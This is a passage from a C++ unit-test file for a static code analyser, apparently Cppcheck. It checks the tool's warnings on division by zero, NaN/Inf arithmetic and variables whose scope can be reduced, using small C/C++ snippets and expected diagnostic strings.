ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return 